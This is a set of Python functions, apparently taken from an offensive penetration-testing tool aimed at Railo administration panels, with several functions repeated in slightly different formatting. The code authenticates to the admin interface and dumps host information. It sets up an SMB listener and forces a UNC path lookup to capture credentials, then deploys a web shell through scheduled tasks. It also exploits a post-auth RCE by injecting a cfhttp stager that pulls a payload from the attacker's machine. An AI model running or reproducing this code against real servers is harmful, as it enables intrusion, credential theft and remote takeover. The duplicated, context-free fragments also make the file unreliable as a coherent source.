def fetch_webroot(ip, fingerprint): """ Grab web root from the info page """ global cookie _cookie = cookie url = "http://{0}:{1}/railo-context/admin/".format(ip, fingerprint.port) if fingerprint.version in ["3.0"]: url += "server.cfm" _cookie = checkAuth(ip, fingerprint.port, RINTERFACES.SRV) else: url += "web.cfm" response = utility.requests_get(url, cookies=_cookie) if response.status_code is 200: if fingerprint.version in ["3.0"]: data = findall("path1\" value=\"(.*?)\" ", response.content.translate(None, "\n\t\r")) elif fingerprint.version in ["3.3"]: data = findall("Webroot</td><td class=\"tblContent\">(.*?)</td>", response.content.translate(None, "\n\t\r")) else: data = findall("Webroot</th><td>(.*?)</td>", response.content.translate(None, "\n\t\r")) if len(data) > 0: return data[0]
def run(self, fingerengine, fingerprint): """ Dump host OS info from a railo server """ utility.Msg("Attempting to retrieve Railo info...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = None if fingerprint.title is RINTERFACES.WEB: uri = '/railo-context/admin/web.cfm' elif fingerprint.title is RINTERFACES.SRV: uri = '/railo-context/admin/server.cfm' url = base + uri response = utility.requests_get(url) if response.status_code is 200 and 'login' in response.content: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if cookie: response = utility.requests_get(url, cookies=cookie) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code is 200 and 'Overview' in response.content: (h, d) = self.fetchVersionRegex(fingerprint) headers = findall(h, response.content.translate(None, "\n\t\r")) data = findall(d, response.content.translate(None, "\n\t\r")) # do some version-specific trimming if fingerprint.version in ["4.1", '4.2']: headers = headers[4:] data = data[2:] elif fingerprint.version in ["3.0"]: headers = headers[:-6] data = data[:-6] elif fingerprint.version in ["3.3"]: headers = headers[:-7] data = data[:-7] for (th, td) in zip(headers, data): utility.Msg("\t%s: %s" % (th, td))
def run(self, fingerengine, fingerprint): """ Dump host OS info from a railo server """ utility.Msg("Attempting to retrieve Railo info...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = None if fingerprint.title is RINTERFACES.WEB: uri = '/railo-context/admin/web.cfm' elif fingerprint.title is RINTERFACES.SRV: uri = '/railo-context/admin/server.cfm' url = base + uri response = utility.requests_get(url) if response.status_code is 200 and 'login' in response.content: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if cookie: response = utility.requests_get(url, cookies=cookie) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code is 200 and 'Overview' in response.content: (h, d) = self.fetchVersionRegex(fingerprint) headers = findall(h, response.content.translate(None, "\n\t\r")) data = findall(d, response.content.translate(None, "\n\t\r")) # do some version-specific trimming if fingerprint.version in ["4.1", '4.2']: headers = headers[4:] data = data[2:] elif fingerprint.version in ["3.0"]: headers = headers[:-6] data = data[:-6] elif fingerprint.version in ["3.3"]: headers = headers[:-7] data = data[:-7] for (th, td) in zip(headers, data): utility.Msg("\t%s: %s" % (th, td))
def run(self, fingerengine, fingerprint): """ Create a search collection via a nonexistent datasource """ if getuid() > 0: utility.Msg("Root privs required for this module.", LOG.ERROR) return utility.Msg("Setting up SMB listener...") self._Listen = True thread = Thread(target=self.smb_listener) thread.start() utility.Msg("Invoking UNC deployer...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = "/railo-context/admin/web.cfm?action=services.search" data = { "collName": "asdf", "collPath": "\\\\{0}\\asdf".format(utility.local_address()), "collLanguage": "english", "run": "create" } url = base + uri cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if not cookies: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) self._Listen = False return response = utility.requests_post(url, data=data, cookies=cookies) while thread.is_alive(): # spin... sleep(1) if response.status_code != 200: utility.Msg("Unexpected response: HTTP %d" % response.status_code) self._Listen = False
def run(self, fingerengine, fingerprint): """ Create a search collection via a nonexistent datasource """ if getuid() > 0: utility.Msg("Root privs required for this module.", LOG.ERROR) return utility.Msg("Setting up SMB listener...") self._Listen = True thread = Thread(target=self.smb_listener) thread.start() utility.Msg("Invoking UNC deployer...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = "/railo-context/admin/web.cfm?action=services.search" data = { "collName" : "asdf", "collPath" : "\\\\{0}\\asdf".format(utility.local_address()), "collLanguage" : "english", "run" : "create" } url = base + uri cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if not cookies: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) self._Listen = False return response = utility.requests_post(url, data=data, cookies=cookies) while thread.is_alive(): # spin... sleep(1) if response.status_code != 200: utility.Msg("Unexpected response: HTTP %d" % response.status_code) self._Listen = False
def deploy(fingerengine, fingerprint): """ Railo includes the same task scheduling function as ColdFusion """ global cookie cfm_path = abspath(fingerengine.options.deploy) cfm_file = parse_war_path(cfm_path, True) dip = fingerengine.options.ip # set our session cookie cookie = checkAuth(dip, fingerprint.port, title) if not cookie: utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}..".format(cfm_file)) utility.Msg("Fetching web root..", LOG.DEBUG) # fetch web root; i.e. where we can read the shell root = fetch_webroot(dip, fingerprint) if not root: utility.Msg("Unable to fetch web root.", LOG.ERROR) return # create the scheduled task utility.Msg("Web root found at %s" % root, LOG.DEBUG) utility.Msg("Creating scheduled task...") if not create_task(dip, fingerprint, cfm_file, root): return # invoke the task utility.Msg("Task %s created, invoking..." % cfm_file) run_task(dip, fingerprint, cfm_path) # remove the task utility.Msg("Cleaning up...") delete_task(dip, fingerprint, cfm_file)
def deploy(fingerengine, fingerprint): """ Exploit a post-auth RCE vulnerability in Railo; uses a simple cfhttp stager to drop the payload """ payload = parse_war_path(fingerengine.options.deploy, True) payload_path = abspath(fingerengine.options.deploy) stager = ":<cfhttp method=\"get\" url=\"http://{0}:{1}/{2}\""\ " path=\"{3}\" file=\"{2}\">" base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if not cookie: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return utility.Msg("Fetching path...") path = fetchPath(fingerengine, fingerprint) utility.Msg("Found path %s" % path, LOG.DEBUG) # configure stager stager = quote(stager.format(utility.local_address(), state.external_port, payload, path + "\context" if fingerengine.options.remote_os \ is 'windows' else '/context')) utility.Msg("Pulling id file...") fid = fetchId(base, path, cookie) if not fid: return utility.Msg("Found id %s" % fid, LOG.DEBUG) # we've got both the security token and the security key, calculate filename session_file = md5(fid + md5(path).hexdigest()).hexdigest() utility.Msg("Session file is web-%s.cfm, attempting to inject stager..." % session_file) # trigger a new favorite with our web shell uri = '/railo-context/admin/web.cfm?action=internal.savedata' uri += '&action2=addfavorite&favorite=%s' % stager response = utility.requests_get(base + uri, cookies=cookie) if not response.status_code is 200: utility.Msg("Failed to deploy stager (HTTP %d)" % response.status_code, LOG.ERROR) return utility.Msg("Stager deployed, invoking...", LOG.SUCCESS) system("cp {0} {1}/{2}".format(payload_path, state.serve_dir, payload)) server_thread = Thread(target=_serve, args=("%s/%s" % (state.serve_dir, payload), )) server_thread.start() sleep(2) # invoke data_uri = "/railo-context/admin/userdata/web-%s.cfm" % session_file _ = utility.requests_get(base + data_uri) if waitServe(server_thread): utility.Msg("{0} deployed at /railo-context/{0}".format(payload), LOG.SUCCESS) killServe()
def deploy(fingerengine, fingerprint): """ Exploit a post-auth RCE vulnerability in Railo; uses a simple cfhttp stager to drop the payload """ payload = parse_war_path(fingerengine.options.deploy, True) payload_path = abspath(fingerengine.options.deploy) stager = ":<cfhttp method=\"get\" url=\"http://{0}:{1}/{2}\""\ " path=\"{3}\" file=\"{2}\">" base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if not cookie: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return utility.Msg("Fetching path...") path = fetchPath(fingerengine, fingerprint) utility.Msg("Found path %s" % path, LOG.DEBUG) # configure stager stager = quote(stager.format(utility.local_address(), state.external_port, payload, path + "\context" if fingerengine.options.remote_os \ is 'windows' else '/context')) utility.Msg("Pulling id file...") fid = fetchId(base, path, cookie) if not fid: return utility.Msg("Found id %s" % fid, LOG.DEBUG) # we've got both the security token and the security key, calculate filename session_file = md5(fid + md5(path).hexdigest()).hexdigest() utility.Msg("Session file is web-%s.cfm, attempting to inject stager..." % session_file) # trigger a new favorite with our web shell uri = '/railo-context/admin/web.cfm?action=internal.savedata' uri += '&action2=addfavorite&favorite=%s' % stager response = utility.requests_get(base + uri, cookies=cookie) if not response.status_code is 200: utility.Msg("Failed to deploy stager (HTTP %d)" % response.status_code, LOG.ERROR) return utility.Msg("Stager deployed, invoking...", LOG.SUCCESS) system("cp {0} {1}/{2}".format(payload_path, state.serve_dir, payload)) server_thread = Thread(target=_serve, args=("%s/%s" % (state.serve_dir, payload),)) server_thread.start() sleep(2) # invoke data_uri = "/railo-context/admin/userdata/web-%s.cfm" % session_file _ = utility.requests_get(base + data_uri) if waitServe(server_thread): utility.Msg("{0} deployed at /railo-context/{0}".format(payload), LOG.SUCCESS) killServe()